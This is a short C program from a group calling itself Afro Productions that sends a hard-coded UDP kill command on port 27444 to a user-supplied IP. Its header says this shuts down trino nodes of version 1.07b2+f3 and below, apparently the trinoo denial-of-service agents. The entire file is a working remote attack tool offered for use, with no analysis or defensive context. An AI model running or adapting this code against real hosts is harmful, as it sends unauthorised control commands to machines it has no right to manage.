/*
 * AFRO-PRODUCTIONS.COM
 *
 * By your buddies at afro productions!
 *
 *   This program kills trino nodes on version 1.07b2+f3 and below.
 *
 *
 */

#include <stdlib.h>
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>

#define KILL "d1e l44adsl d1e\n"

int main(int argc, char **argv)
{
	int sock;
	struct sockaddr_in s;
	struct hostent *h;
	char *host;

	if (argc == 1)
	{
		fprintf(stdout,"Usage: %s <ip>\n",argv[0]);
		return 0;
	}

	host = argv[1];

	sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);		

	s.sin_family = AF_INET;
  	s.sin_addr.s_addr = inet_addr(host);
  	s.sin_port = htons(27444);

	if (s.sin_addr.s_addr == -1)
	{
		h = gethostbyname(host);

		if (!h)
		{
			fprintf(stdout,"%s is an invalid target.\n",host);
			return 0;
		}

		memcpy(&s.sin_addr.s_addr,h->h_addr,h->h_length);
	}

	sendto(sock,KILL,strlen(KILL),0,(struct sockaddr *)&s,sizeof(s));		

	fprintf(stdout,"Packet sent to target %s.\n",host);

	return 1;
}
